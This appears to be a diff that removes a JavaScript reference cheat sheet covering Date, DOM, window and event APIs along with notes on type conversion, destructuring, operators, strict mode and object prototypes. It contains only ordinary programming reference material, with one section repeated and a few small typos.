--   <span id="42f8">`Date(2017, 5, 21, 3, 23, 10, 0)` — Create a custom date object. The numbers represent a year, month, day, hour, minutes, seconds, milliseconds. You can omit anything you want except for a year and month.</span>
--   <span id="4e80">`Date("2017-06-23")` — Date declaration as a string</span>
-
-### Pulling Date and Time Values
-
--   <span id="465e">`getDate()` — Get the day of the month as a number (1-31)</span>
--   <span id="1b08">`getDay()` — The weekday as a number (0-6)</span>
--   <span id="6d9e">`getFullYear()` — Year as a four-digit number (yyyy)</span>
--   <span id="a216">`getHours()` — Get the hour (0-23)</span>
--   <span id="388a">`getMilliseconds()` — The millisecond (0-999)</span>
--   <span id="a97f">`getMinutes()` — Get the minute (0-59)</span>
--   <span id="2427">`getMonth()` — Month as a number (0-11)</span>
--   <span id="b964">`getSeconds()` — Get the second (0-59)</span>
--   <span id="505d">`getTime()` — Get the milliseconds since January 1, 1970</span>
--   <span id="7c14">`getUTCDate()` — The day (date) of the month in the specified date according to universal time (also available for day, month, full year, hours, minutes etc.)</span>
--   <span id="d6b6">`parse` — Parses a string representation of a date and returns the number of milliseconds since January 1, 1970</span>
-
-### Set Part of a Date
-
--   <span id="9a97">`setDate()` — Set the day as a number (1-31)</span>
--   <span id="d4f0">`setFullYear()` — Sets the year (optionally month and day)</span>
--   <span id="1a45">`setHours()` — Set the hour (0-23)</span>
--   <span id="8020">`setMilliseconds()` — Set milliseconds (0-999)</span>
--   <span id="7feb">`setMinutes()` — Sets the minutes (0-59)</span>
--   <span id="d7ca">`setMonth()` — Set the month (0-11)</span>
--   <span id="795d">`setSeconds()` — Sets the seconds (0-59)</span>
--   <span id="1d7f">`setTime()` — Set the time (milliseconds since January 1, 1970)</span>
--   <span id="78e1">`setUTCDate()` — Sets the day of the month for a specified date according to universal time (also available for day, month, full year, hours, minutes etc.)</span>
-
-### DOM Mode
-
-The DOM is the <a href="https://en.wikipedia.org/wiki/Document_Object_Model" class="markup--anchor markup--p-anchor">Document Object Model</a> of a page. It is the code of the structure of a webpage. JavaScript comes with a lot of different ways to create and manipulate HTML elements (called nodes).
-
-### Node Properties
-
--   <span id="cfb7">`attributes` — Returns a live collection of all attributes registered to an element</span>
--   <span id="6138">`baseURI` — Provides the absolute base URL of an HTML element</span>
--   <span id="34da">`childNodes` — Gives a collection of an element's child nodes</span>
--   <span id="58ec">`firstChild` — Returns the first child node of an element</span>
--   <span id="2f34">`lastChild` — The last child node of an element</span>
--   <span id="fdea">`nextSibling` — Gives you the next node at the same node tree level</span>
--   <span id="1ca4">`nodeName` —Returns the name of a node</span>
--   <span id="d4ee">`nodeType` — Returns the type of a node</span>
--   <span id="cd22">`nodeValue` — Sets or returns the value of a node</span>
--   <span id="a9a3">`ownerDocument` — The top-level document object for this node</span>
--   <span id="51b4">`parentNode` — Returns the parent node of an element</span>
--   <span id="31ef">`previousSibling` — Returns the node immediately preceding the current one</span>
--   <span id="ec40">`textContent` — Sets or returns the textual content of a node and its descendants</span>
-
-### Node Methods
-
--   <span id="7f05">`appendChild()` — Adds a new child node to an element as the last child node</span>
--   <span id="3b3a">`cloneNode()` — Clones an HTML element</span>
--   <span id="661c">`compareDocumentPosition()` — Compares the document position of two elements</span>
--   <span id="86d2">`getFeature()` — Returns an object which implements the APIs of a specified feature</span>
--   <span id="059c">`hasAttributes()` — Returns true if an element has any attributes, otherwise false</span>
--   <span id="5d0d">`hasChildNodes()` — Returns true if an element has any child nodes, otherwise false</span>
--   <span id="4c86">`insertBefore()` — Inserts a new child node before a specified, existing child node</span>
--   <span id="4b38">`isDefaultNamespace()` — Returns true if a specified namespaceURI is the default, otherwise false</span>
--   <span id="8c4e">`isEqualNode()` — Checks if two elements are equal</span>
--   <span id="2f6a">`isSameNode()` — Checks if two elements are the same node</span>
--   <span id="944e">`isSupported()` — Returns true if a specified feature is supported on the element</span>
--   <span id="b7ef">`lookupNamespaceURI()` — Returns the namespace URI associated with a given node</span>
--   <span id="5f59">`lookupPrefix()` — Returns a DOMString containing the prefix for a given namespace URI if present</span>
--   <span id="6670">`normalize()` — Joins adjacent text nodes and removes empty text nodes in an element</span>
--   <span id="c80a">`removeChild()` — Removes a child node from an element</span>
--   <span id="8108">`replaceChild()` — Replaces a child node in an element</span>
-
-### Element Methods
-
--   <span id="9530">`getAttribute()` — Returns the specified attribute value of an element node</span>
--   <span id="0dd1">`getAttributeNS()` — Returns string value of the attribute with the specified namespace and name</span>
--   <span id="8a0d">`getAttributeNode()` — Gets the specified attribute node</span>
--   <span id="fc41">`getAttributeNodeNS()` — Returns the attribute node for the attribute with the given namespace and name</span>
--   <span id="2a3e">`getElementsByTagName()` — Provides a collection of all child elements with the specified tag name</span>
--   <span id="11a4">`getElementsByTagNameNS()` — Returns a live HTMLCollection of elements with a certain tag name belonging to the given namespace</span>
--   <span id="e2ae">`hasAttribute()` — Returns true if an element has any attributes, otherwise false</span>
--   <span id="17dd">`hasAttributeNS()` — Provides a true/false value indicating whether the current element in a given namespace has the specified attribute</span>
--   <span id="f28c">`removeAttribute()` — Removes a specified attribute from an element</span>
--   <span id="8cd0">`removeAttributeNS()` — Removes the specified attribute from an element within a certain namespace</span>
--   <span id="e6c3">`removeAttributeNode()` — Takes away a specified attribute node and returns the removed node</span>
--   <span id="a7b9">`setAttribute()` — Sets or changes the specified attribute to a specified value</span>
--   <span id="bf42">`setAttributeNS()` — Adds a new attribute or changes the value of an attribute with the given namespace and name</span>
--   <span id="2322">`setAttributeNode()` — Sets or changes the specified attribute node</span>
--   <span id="0540">`setAttributeNodeNS()` — Adds a new namespaced attribute node to an element</span>
-
-### Working with the User Browser
-
-Besides HTML elements, JavaScript is also able to take into account the user browser and incorporate its properties into the code.
-
-### Window Properties
-
--   <span id="1b1f">`closed` — Checks whether a window has been closed or not and returns true or false</span>
--   <span id="805f">`defaultStatus` — Sets or returns the default text in the status bar of a window</span>
--   <span id="458e">`document` — Returns the document object for the window</span>
--   <span id="93ee">`frames` — Returns all `<iframe>` elements in the current window</span>
--   <span id="c42a">`history` — Provides the History object for the window</span>
--   <span id="3a5d">`innerHeight` — The inner height of a window's content area</span>
--   <span id="c609">`innerWidth` — The inner width of the content area</span>
--   <span id="5167">`length` — Find out the number of `<iframe>` elements in the window</span>
--   <span id="4f05">`location` — Returns the location object for the window</span>
--   <span id="4125">`name` — Sets or returns the name of a window</span>
--   <span id="3d7f">`navigator` — Returns the Navigator object for the window</span>
--   <span id="c601">`opener` — Returns a reference to the window that created the window</span>
--   <span id="734e">`outerHeight` — The outer height of a window, including toolbars/scrollbars</span>
--   <span id="9b0a">`outerWidth` — The outer width of a window, including toolbars/scrollbars</span>
--   <span id="3140">`pageXOffset` — Number of pixels the current document has been scrolled horizontally</span>
--   <span id="0bcc">`pageYOffset` — Number of pixels the document has been scrolled vertically</span>
--   <span id="a2af">`parent` — The parent window of the current window</span>
--   <span id="3634">`screen` — Returns the Screen object for the window</span>
--   <span id="9566">`screenLeft` — The horizontal coordinate of the window (relative to the screen)</span>
--   <span id="1245">`screenTop` — The vertical coordinate of the window</span>
--   <span id="5656">`screenX` — Same as `screenLeft` but needed for some browsers</span>
--   <span id="21e7">`screenY` — Same as `screenTop` but needed for some browsers</span>
--   <span id="d000">`self` — Returns the current window</span>
--   <span id="99af">`status` — Sets or returns the text in the status bar of a window</span>
--   <span id="0a0f">`top` — Returns the topmost browser window</span>
-
-### Window Methods
-
--   <span id="5715">`alert()` — Displays an alert box with a message and an OK button</span>
--   <span id="4afc">`blur()` — Removes focus from the current window</span>
--   <span id="ef9a">`clearInterval()` — Clears a timer set with `setInterval()`</span>
--   <span id="fa72">`clearTimeout()` — Clears a timer set with `setTimeout()`</span>
--   <span id="7bce">`close()` — Closes the current window</span>
--   <span id="ccbf">`confirm()` — Displays a dialogue box with a message and an _OK_ and _Cancel_ button</span>
--   <span id="e6f2">`focus()` — Sets focus to the current window</span>
--   <span id="5eb7">`moveBy()` — Moves a window relative to its current position</span>
--   <span id="16b6">`moveTo()` — Moves a window to a specified position</span>
--   <span id="32d8">`open()` — Opens a new browser window</span>
--   <span id="4198">`print()` — Prints the content of the current window</span>
--   <span id="3bec">`prompt()` — Displays a dialogue box that prompts the visitor for input</span>
--   <span id="e16a">`resizeBy()` — Resizes the window by the specified number of pixels</span>
--   <span id="31c8">`resizeTo()` — Resizes the window to a specified width and height</span>
--   <span id="6c44">`scrollBy()` — Scrolls the document by a specified number of pixels</span>
--   <span id="959f">`scrollTo()` — Scrolls the document to specified coordinates</span>
--   <span id="704a">`setInterval()` — Calls a function or evaluates an expression at specified intervals</span>
--   <span id="87c3">`setTimeout()` — Calls a function or evaluates an expression after a specified interval</span>
--   <span id="1cde">`stop()` — Stops the window from loading</span>
-
-### Screen Properties
-
--   <span id="7e50">`availHeight` — Returns the height of the screen (excluding the Windows Taskbar)</span>
--   <span id="d7ea">`availWidth` — Returns the width of the screen (excluding the Windows Taskbar)</span>
--   <span id="4feb">`colorDepth` — Returns the bit depth of the color palette for displaying images</span>
--   <span id="f2f7">`height` — The total height of the screen</span>
--   <span id="8e22">`pixelDepth` — The color resolution of the screen in bits per pixel</span>
--   <span id="bc5a">`width` — The total width of the screen</span>
-
-### JavaScript Events
-
-Events are things that can happen to HTML elements and are performed by the user. The programming language can listen for these events and trigger actions in the code. No JavaScript cheat sheet would be complete without them.
-
-### Mouse
-
--   <span id="9546">`onclick` — The event occurs when the user clicks on an element</span>
--   <span id="9b50">`oncontextmenu` — User right-clicks on an element to open a context menu</span>
--   <span id="147a">`ondblclick` — The user double-clicks on an element</span>
--   <span id="3720">`onmousedown` — User presses a mouse button over an element</span>
--   <span id="a40a">`onmouseenter` — The pointer moves onto an element</span>
--   <span id="345e">`onmouseleave` — Pointer moves out of an element</span>
--   <span id="79b1">`onmousemove` — The pointer is moving while it is over an element</span>
--   <span id="fa70">`onmouseover` — When the pointer is moved onto an element or one of its children</span>
--   <span id="94f8">`onmouseout` — User moves the mouse pointer out of an element or one of its children</span>
--   <span id="486e">`onmouseup` — The user releases a mouse button while over an element</span>
-
-### Keyboard
-
--   <span id="6a8f">`onkeydown` — When the user is pressing a key down</span>
--   <span id="0647">`onkeypress` — The moment the user starts pressing a key</span>
--   <span id="ff0f">`onkeyup` — The user releases a key</span>
-
-### Frame
-
--   <span id="9d29">`onabort` — The loading of a media is aborted</span>
--   <span id="baa4">`onbeforeunload` — Event occurs before the document is about to be unloaded</span>
--   <span id="740e">`onerror` — An error occurs while loading an external file</span>
--   <span id="be95">`onhashchange` — There have been changes to the anchor part of a URL</span>
--   <span id="d0fd">`onload` — When an object has loaded</span>
--   <span id="65e5">`onpagehide` — The user navigates away from a webpage</span>
--   <span id="aae6">`onpageshow` — When the user navigates to a webpage</span>
--   <span id="e3dc">`onresize` — The document view is resized</span>
--   <span id="96c8">`onscroll` — An element's scrollbar is being scrolled</span>
--   <span id="f2fa">`onunload` — Event occurs when a page has unloaded</span>
-
-### Form
-
--   <span id="731a">`onblur` — When an element loses focus</span>
--   <span id="facf">`onchange` — The content of a form element changes (for `<input>`, `<select>` and `<textarea>`)</span>
--   <span id="7a0a">`onfocus` — An element gets focus</span>
--   <span id="5188">`onfocusin` — When an element is about to get focus</span>
--   <span id="594a">`onfocusout` — The element is about to lose focus</span>
--   <span id="700e">`oninput` — User input on an element</span>
--   <span id="dd0f">`oninvalid` — An element is invalid</span>
--   <span id="6cad">`onreset` — A form is reset</span>
--   <span id="f4f2">`onsearch` — The user writes something in a search field (for `<input="search">`)</span>
--   <span id="32a9">`onselect` — The user selects some text (for `<input>` and `<textarea>`)</span>
--   <span id="3e1d">`onsubmit` — A form is submitted</span>
-
-### Drag
-
--   <span id="912c">`ondrag` — An element is dragged</span>
--   <span id="6897">`ondragend` — The user has finished dragging the element</span>
--   <span id="8225">`ondragenter` — The dragged element enters a drop target</span>
--   <span id="cf37">`ondragleave` — A dragged element leaves the drop target</span>
--   <span id="5bc3">`ondragover` — The dragged element is on top of the drop target</span>
--   <span id="2b0c">`ondragstart` — User starts to drag an element</span>
--   <span id="8e24">`ondrop` — Dragged element is dropped on the drop target</span>
-
-### Clipboard
-
--   <span id="c299">`oncopy` — User copies the content of an element</span>
--   <span id="267c">`oncut` — The user cuts an element's content</span>
--   <span id="e33c">`onpaste` — A user pastes the content in an element</span>
-
-### Media
-
--   <span id="e0ab">`onabort` — Media loading is aborted</span>
--   <span id="0758">`oncanplay` — The browser can start playing media (e.g. a file has buffered enough)</span>
--   <span id="0bc2">`oncanplaythrough` — The browser can play through media without stopping</span>
--   <span id="4c27">`ondurationchange` — The duration of the media changes</span>
--   <span id="aa9a">`onended` — The media has reached its end</span>
--   <span id="25b8">`onerror` — Happens when an error occurs while loading an external file</span>
--   <span id="cdf4">`onloadeddata` — Media data is loaded</span>
--   <span id="edce">`onloadedmetadata` — Metadata (like dimensions and duration) are loaded</span>
--   <span id="7928">`onloadstart` — The browser starts looking for specified media</span>
--   <span id="159c">`onpause` — Media is paused either by the user or automatically</span>
--   <span id="057f">`onplay` — The media has been started or is no longer paused</span>
--   <span id="ce2a">`onplaying` — Media is playing after having been paused or stopped for buffering</span>
--   <span id="2655">`onprogress` — The browser is in the process of downloading the media</span>
--   <span id="a11c">`onratechange` — The playing speed of the media changes</span>
--   <span id="f8bb">`onseeked` — User is finished moving/skipping to a new position in the media</span>
--   <span id="9895">`onseeking` — The user starts moving/skipping</span>
--   <span id="c636">`onstalled` — The browser is trying to load the media but it is not available</span>
--   <span id="6480">`onsuspend` — The browser is intentionally not loading media</span>
--   <span id="f94b">`ontimeupdate` — The playing position has changed (e.g. because of fast forward)</span>
--   <span id="e96b">`onvolumechange` — Media volume has changed (including mute)</span>
--   <span id="9fe8">`onwaiting` — Media paused but expected to resume (for example, buffering)</span>
-
-### Animation
-
--   <span id="4497">`animationend` — A CSS animation is complete</span>
--   <span id="fc16">`animationiteration` — CSS animation is repeated</span>
--   <span id="0f40">`animationstart` — CSS animation has started</span>
-
-### Other
-
--   <span id="614b">`transitionend` — Fired when a CSS transition has completed</span>
--   <span id="5a40">`onmessage` — A message is received through the event source</span>
--   <span id="0dad">`onoffline` — The browser starts to work offline</span>
--   <span id="058e">`ononline` — The browser starts to work online</span>
--   <span id="090a">`onpopstate` — When the window's history changes</span>
--   <span id="d940">`onshow` — A `<menu>` element is shown as a context menu</span>
--   <span id="3062">`onstorage` — A Web Storage area is updated</span>
--   <span id="2681">`ontoggle` — The user opens or closes the `<details>` element</span>
--   <span id="6a40">`onwheel` — Mouse wheel rolls up or down over an element</span>
--   <span id="7178">`ontouchcancel` — Screen-touch is interrupted</span>
--   <span id="bec5">`ontouchend` — User's finger is removed from a touch-screen</span>
--   <span id="3b60">`ontouchmove` — A finger is dragged across the screen</span>
--   <span id="3c0e">`ontouchstart` — A finger is placed on the touch-screen</span>
-
-### Errors
-
-When working with JavaScript, different errors can occur. There are several ways of handling them:
-
--   <span id="54c9">`try` — Lets you define a block of code to test for errors</span>
--   <span id="cb14">`catch` — Set up a block of code to execute in case of an error</span>
--   <span id="6a5b">`throw` — Create custom error messages instead of the standard JavaScript errors</span>
--   <span id="6aea">`finally` — Lets you execute code, after try and catch, regardless of the result</span>
-
-### Error Name Values
-
-JavaScript also has a built-in error object. It has two properties:
-
--   <span id="ca3b">`name` — Sets or returns the error name</span>
--   <span id="7047">`message` — Sets or returns an error message in a string from</span>
-
-The error property can return six different values as its name:
-
--   <span id="b389">`EvalError` — An error has occurred in the `eval()` function</span>
--   <span id="570c">`RangeError` — A number is "out of range"</span>
--   <span id="2352">`ReferenceError` — An illegal reference has occurred</span>
--   <span id="5019">`SyntaxError` — A syntax error has occurred</span>
--   <span id="0527">`TypeError` — A type error has occurred</span>
--   <span id="02a3">`URIError` — An `encodeURI()` error has occurred</span>
-
-### Explicit Conversions
-
-The simplest way to perform an explicit type conversion is to use the `Boolean(), Number()`, and `String()` functions.
-
-Any value other than `null `or `undefined `has a` toString()` method.
-
-`n.toString(2);`
-
-binary
-
-`n.toString(8);`
-
-octal
-
-`n.toString(16);`
-
-hex
-
-`let n = 123456.789;`
-
-`n.toFixed(0)`
-
-"123457"
-
-`n.toFixed(5)`
-
-"123456.78900"
-
-`n.toExponential(3)`
-
-"1.235e+5"
-
-`n.toPrecision(7)`
-
-"123456.8"
-
-`n.toPrecision(10)`
-
-"123456.7890"
-
-`parseInt("3 blind mice")`
-
-3
-
-`parseFloat(" 3.14 meters")`
-
-3.14
-
-`parseInt("-12.34")`
-
--12
-
-`parseInt("0xFF")`
-
-255
-
-### Types, Values, and Variables
-
-### Links
-
-**Resource**
-
-**URL**
-
-MDN
-
-<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript" class="markup--anchor markup--p-anchor">https://developer.mozilla.org/en-US/docs/Web/JavaScript</a>
-
-Run Snippets
-
-<a href="https://developers.google.com/web/tools/chrome-devtools/javascript/snippets" class="markup--anchor markup--p-anchor">https://developers.google.com/web/tools/chrome-devtools/javascript/snippets</a>
-
-### Explicit Conversions
-
-The simplest way to perform an explicit type conversion is to use the `Boolean(), Number()`, and `String()` functions.
-
-Any value other than `null `or `undefined `has a` toString()` method.
-
-`n.toString(2);`
-
-binary
-
-`n.toString(8);`
-
-octal
-
-`n.toString(16);`
-
-hex
-
-`let n = 123456.789;`
-
-`n.toFixed(0)`
-
-"123457"
-
-`n.toFixed(5)`
-
-"123456.78900"
-
-`n.toExponential(3)`
-
-"1.235e+5"
-
-`n.toPrecision(7)`
-
-"123456.8"
-
-`n.toPrecision(10)`
-
-"123456.7890"
-
-`parseInt("3 blind mice")`
-
-3
-
-`parseFloat(" 3.14 meters")`
-
-3.14
-
-`parseInt("-12.34")`
-
--12
-
-`parseInt("0xFF")`
-
-255
-
-`parseInt("0xff")`
-
-255
-
-`parseInt("-0XFF")`
-
--255
-
-`parseInt("0.1")`
-
-0
-
-`parseInt(".1")`
-
-NaN: integers can't start with "."
-
-`parseFloat("$72.47")`
-
-NaN: numbers can't start with "$"
-
-Supply Radix
-
-`parseInt("11", 2)`
-
-3
-
-`parseInt("ff", 16)`
-
-255
-
-`parseInt("077", 8)`
-
-63
-
-### Conversion Idioms
-
-`x + ""`
-
-`String(x)`
-
-`+x`
-
-`Number(x)`
-
-`x-0`
-
-`Number(x)`
-
-`!!x`
-
-`Boolean(x)`
-
-### Destructuring Assignment
-
-`let [x,y] = [1,2];`
-
-let x=1, y=2
-
-`[x,y] = [x + 1,y + 1];`
-
-x = x + 1, y = y + 1
-
-`[x,y] = [y,x];`
-
-Swap the value of the two variables
-
-Destructuring assignment makes it easy to work with functions that return arrays of values:
-
-`let [r,theta] = toPolar(1.0, 1.0);`
-
-    function toPolar(x, y) {
-
-    return [Math.sqrt(x*x+y*y), Math.atan2(y,x)];
-
-    }
-
-Variable destructuring in loops:
-
-`let o = { x: 1, y: 2 };`
-
-    for(const [name, value] of Object.entries(o)) {
-
-    console.log(name, value); // Prints "x 1" and "y 2"
-
-    }
-
-**Note**: The `Object.entries()` method returns an array of a given object's own enumerable string-keyed property `[key, value]` pairs, in the same order as that provided by a `for...in` loop. (The only important difference is that a `for...in` loop enumerates properties in the prototype chain as well).
-
-The list of variables on the left can include extra commas to skip certain values on the right
-
-`[,x,,y] = [1,2,3,4];`
-
-x == 2; y == 4
-
-**Note**: the last comma does not stand for a value.
-
-To collect all unused or remaining values into a single variable when destructuring an array, use three dots `(...) `before the last variable name on the left-hand side
-
-`let [x, ...y] = [1,2,3,4];`
-
-y == \[2,3,4\]
-
-`let [first, ...rest] = "Hello";`
-
-first == "H"; rest ==\["e","l","l","o"\]
-
-Destructuring assignment can also be performed when the righthand side is an object value.
-
-`let transparent = {r: 0.0, g: 0.0, b: 0.0, a: 1.0};`
-
-`let {r, g, b} = transparent;`
-
-r == 0.0; g == 0.0; b == 0.0
-
-`const {sin, cos, tan} = Math;`
-
-sin=Math.sin, cos=Math.cos, tan=Math.tan
-
-### Expressions and Operators
-
-In JavaScript, the values `null `and `undefined `are the only two values that do not have properties. In a regular property access expression using . or \[\], you get a `TypeError` if the expression on the left evaluates to `null `or `undefined`. You can use `?.` and `?.[]` syntax to guard against errors of this type.
-
-You can also invoke a function using `?.()` instead of `()`.
-
-With the `new ?.()` invocation syntax, if the expression to the left of the `?.` evaluates to `null` or `undefined`, then the entire invocation expression evaluates to `undefined `and no exception is thrown.
-
-Write the function invocation using `?.(),` knowing that invocation will only happen if there is actually a value to be invoked
-
-    function square(x, log) {
-
-    log?.(x); // Call the function if there is one
-
-    return x * x;
-
-    }
-
-Note that expression `x++` is not always the same as `x = x + 1`.The `++` operator never performs string concatenation: it always converts its operand to a number and increments it. If x is the string "1", `++x` is the number 2, but` x + 1` is the string "11".
-
-JavaScript objects are compared by reference, not by value. An object is equal to itself, but not to any other object. If two distinct objects have the same number of properties, with the same names and values, they are still not equal. Similarly, two arrays that have the same elements in the same order are not equal to each other.
-
-`NaN `value is never equal to any other value, including itself! To check whether a value `x` is `NaN`, use `x !== `, or the global `isNaN()` function.
-
-If both values refer to the same object, array, or function, they are equal. If they refer to different objects, they are not equal, even if both objects have identical properties.
-
-### Evaluating Expressions
-
-JavaScript has the ability to interpret strings of JavaScript source code, evaluating them to produce a value.
-
-`eval("3+2")`
-
-Because of security issues, some web servers use the HTTP "Content-Security-Policy" header to disable` eval()` for an entire website.
-
-### First-Defined (??)
-
-The first-defined operator `??` evaluates to its first defined operand: if its left operand is not `null` and not `undefined`, it returns that value.
-
-`a ?? b` is equivalent to `(a !== null && a !== undefined) ? a : b`
-
-`??` is a useful alternative to `||.` The problem with this idiomatic use is that zero, the empty string, and false are all `falsy `values that may be perfectly valid in some circumstances. In this code example, if `maxWidth `is zero, that value will be ignored. But if we change the `||` operator to `??`, we end up with an expression where zero is a valid value.
-
-`let max = maxWidth || preferences.maxWidth || 500;`
-
-`let max = maxWidth ?? preferences.maxWidth ?? 500;`
-
-### delete Operator
-
-Deleting an array element leaves a "hole" in the array and does not change the array's length. The resulting array is sparse.
-
-### void Operator
-
-Using the `void` operator makes sense only if the operand has side effects.
-
-`let counter = 0;`
-
-`const increment = () => void counter++;`
-
-`increment()`
-
-undefined
-
-`counter`
-
-1
-
-### Statements
-
-Expressions are evaluated to produce a value, but statements are executed to make something happen.
-
-Expressions with side effects, such as assignments and function invocations, can stand alone as statements, and when used this way are known as expression statements.
-
-A similar category of statements are the declaration statements that declare new variables and define new functions.
-
-If a function does not have any side effects, there is no sense in calling it, unless it is part of a larger expression or an assignment statement.
-
-### for/of
-
-The `for/of` loop works with iterable objects. Arrays, strings, sets, and maps are iterable.
-
-Array
-
-    let data = [1, 2, 3, 4, 5, 6, 7, 8, 9], sum = 0;
-
-    for(let element of data) {
-
-    sum += element;
-
-    }
-
-    let text = "Na na na na na na na na";
-
-    let wordSet = new Set(text.split(" "));
-
-    let unique = [];
-
-    for(let word of wordSet) {
-
-    unique.push(word);
-
-    }
-
-String
-
-    let frequency = {};
-
-    for(let letter of "mississippi") {
-
-    if (frequency[letter]) {
-
-    frequency[letter]++;
-
-    }
-
-    else {
-
-    frequency[letter] = 1;
-
-    }
-
-    }
-
-Map
-
-    let m = new Map([[1, "one"]]);
-
-    for(let [key, value] of m) {
-
-    key // => 1
-
-    value // => "one"
-
-    }
-
-Objects are not (by default) iterable. Attempting to use `for/of` on a regular object throws a `TypeError` at runtime.
-
-If you want to iterate through the properties of an object, you can use the `for/in` loop.
-
-Note: `for/of` can be used on objects with `Object.entries` property, but it will not pick properties from object's prototype.
-
-### for/in
-
-`for/in` loop works with any object after the `in`.
-
-    for(let p in o) {
-
-    console.log(o[p]);
-
-    }
-
-Note: this will enumerate array indexes, not values.
-
-    for(let i in a) console.log(i);
-
-The `for/in` loop does not actually enumerate all properties of an object. It does not enumerate properties whose names are symbols. And of the properties whose names are strings, it only loops over the `enumerable`properties.
-
-### with
-
-The with statement runs a block of code as if the properties of a specified object were variables in scope for that code.
-
-The `with `statement is forbidden in strict mode and should be considered deprecated in non-strict mode: avoid using it whenever possible.
-
-    document.forms[0].address.value
-
-    with(document.forms[0]) {
-
-    name.value = "";
-
-    address.value = "";
-
-    email.value = "";
-
-    }
-
-### debugger
-
-If a debugger program is available and is running, then an implementation may (but is not required to) perform some kind of debugging action.
-
-In practice, this statement acts like a breakpoint: execution of JavaScript code stops, and you can use the debugger to print variables' values, examine the call stack, and so on.
-
-Note that it is not enough to have a debugger available: the debugger statement won't start the debugger for you. If you're using a web browser and have the developer tools console open, however, this statement will cause a breakpoint.
-
-### use strict
-
-Strict mode is a restricted subset of the language that fixes important language deficiencies and provides stronger error checking and increased security.
-
-The differences between strict mode and non-strict mode are the following:
-
-· The `with `statement is not allowed in strict mode.
-
-· In strict mode, all variables must be declared: a `ReferenceError `is thrown if you assign a value to an identifier that is not a declared variable, function, function parameter, catch clause parameter, or property of the global object.
-
-· In non-strict mode, this implicitly declares a global variable by adding a new property to the global object.
-
-· In strict mode, functions invoked as functions (rather than as methods) have a `this `value of undefined. (In non-strict mode, functions invoked as functions are always passed the global object as their `this `value.)
-
-· A function is invoked with `call() `or `apply()` , the `this `value is exactly the value passed as the first argument to `call()` or `apply()`. (In non-strict mode, `null `and `undefined `values are replaced with the global object and non-object values are converted to objects.)
-
-· In strict mode, assignments to non-writable properties and attempts to create new properties on non-extensible objects throw a `TypeError`. (In non-strict mode, these attempts fail silently.)
-
-· In strict mode, code passed to `eval() `cannot declare variables or define functions in the caller's scope as it can in non-strict mode. Instead, variable and function definitions live in a new scope created for the `eval()`. This scope is discarded when the `eval()` returns.
-
-· In strict mode, the Arguments object in a function holds a static copy of the values passed to the function. In non-strict mode, the Arguments object has "magical" behavior in which elements of the array and named function parameters both refer to the same value.
-
-· In strict mode, a `SyntaxError `is thrown if the `delete `operator is followed by an unqualified identifier such as a variable, function, or function parameter. (In non-strict mode, such a `delete `expression does nothing and evaluates to false.)
-
-· In strict mode, an attempt to delete a non-configurable property throws a `TypeError`. (In non-strict mode, the attempt fails and the delete expression evaluates to false.)
-
-· In strict mode, it is a syntax error for an object literal to define two or more properties by the same name. (In non-strict mode, no error occurs.)
-
-### Objects
-
-In addition to its name and value, each property has three property attributes:
-
-· The `writable `attribute specifies whether the value of the property can be set.
-
-· The `enumerable `attribute specifies whether the property name is returned by a `for/in` loop.
-
-· The `configurable `attribute specifies whether the property can be deleted and whether its attributes can be altered.
-
-### Prototypes
-
-All objects created by object literals have the same prototype object, `Object.prototype.`
-
-Objects created using the `new `keyword and a constructor invocation use the value of the prototype property of the constructor function as their prototype.
-
-Object created by `new Object()` inherits from `Object.prototype`, just as the object created by `{}` does. Similarly, the object created by `new Array()` uses `Array.prototype` as its prototype, and the object created by` new Date()` uses `Date.prototype` as its prototype.
-
-Almost all objects have a prototype, but only a relatively small number of objects have a `prototype `property. It is these objects with prototype properties that define the prototypes for all the other objects.
-
-Most built-in constructors (and most user-defined constructors) have a prototype that inherits from `Object.prototype`.
-
-`Date.prototype` inherits properties from `Object.prototype`, so a Date object created by `new Date()` inherits properties from both `Date.prototype` and `Object.prototype`. This linked series of prototype objects is known as a prototype chain.
-
-### Creating Objects
-
-Objects can be created with object literals, with the `new` keyword, and with the `Object.create()` function.
-
-Literal
-
-`let empty = {};`
-
-`let point = { x: 0, y: 0 };`
-
-    let book = {
-
-    "main title": "JavaScript",
-
-    "sub-title": "The Definitive Guide",
-
-    for: "all audiences",
-
-    author: {
-
-    firstname: "David", .
-
-    surname: "Flanagan"
-
-    }
-
-    };
-
-`new`
-
-`let o = new Object(); `  
- `let a = new Array(); `  
- `let d = new Date(); `  
- `let r = new Map();`
-
-`Object.create`
-
-`let o3 = Object.create(Object.prototype);`
-
-Use `Object.create` to guard against accidental modifications:
-
-    let o = { x: "don't change this value" };
-
-    library.function(Object.create(o));
-
-Note: the library function can modify the passed in object, but not the original `o` object
-
-### Access Object Properties with an array (\[\]) notation
-
-    let addr = "";
-
-    for(let i = 0; i < 4; i++) {
-
-    addr += customer[`address${i}`] + "\n";
-
-    }
-
-### Inheritance
-
-`let o = {};`
-
-`o.x = 1;`
-
-`let p = Object.create(o);`
-
-`p.y = 2;`
-
-`let q = Object.create(p);`
-
-`q.z = 3;`
-
-Property `x` and `y` available on object `q`
-
-`q.x + q.y`
-
-### How to query for property which may be undefined
-
-`surname = book && book.author && book.author.surname;`
-
-`let surname = book?.author?.surname;`
-
-### Deleting properties
-
-The `delete` operator only deletes own properties, not inherited ones. (To delete an inherited property, you must delete it from the prototype object in which it is defined. Doing this affects every object that inherits from that prototype.)
-
-`delete` does not remove properties that have a `configurable `attribute of false.
-
-Certain properties of built-in objects are non-configurable, as are properties of the global object created by variable declaration and function declaration.
-
-`delete Object.prototype`
-
-false: property is non-configurable
-
-`var x = 1;`
-
-`delete globalThis.x`
-
-false: can't delete `this `property
-
-`function f() {}`
-
-`delete globalThis.f`
-
-false
-
-`globalThis.x = 1;`
-
-`delete globalThis.x`
-
-true
-
-### Testing properties
-
-To check whether an object has a property with a given name. You can do this with the `in` operator, with the `hasOwnProperty()` and `propertyIsEnumerable()` methods, or simply by querying the property
-
-( `!= undefined`).
-
-### in & query
-
-`let o = { x: 1 };`
-
-`"x" in o`
-
-true
-
-`o.x !== undefined`
-
-`"y" in o`
-
-false
-
-`o.y !== undefined`
-
-`"toString" in o`
-
-true: o inherits a `toString `property
-
-`o.toString !== undefined`
-
-Advantage of using in: `in` can distinguish between properties that do not exist and properties that exist but have been set to `undefined`.
-
-### hasOwnProperty
-
-`let o = { x: 1 };`
-
-`o.hasOwnProperty("x")`
-
-true
-
-`o.hasOwnProperty("y")`
-
-false
-
-`o.hasOwnProperty("toString")`
-
-false: toString is an inherited property
-
-The `propertyIsEnumerable()` returns true only if the named property is an own property and its `enumerable` attribute is true.
-
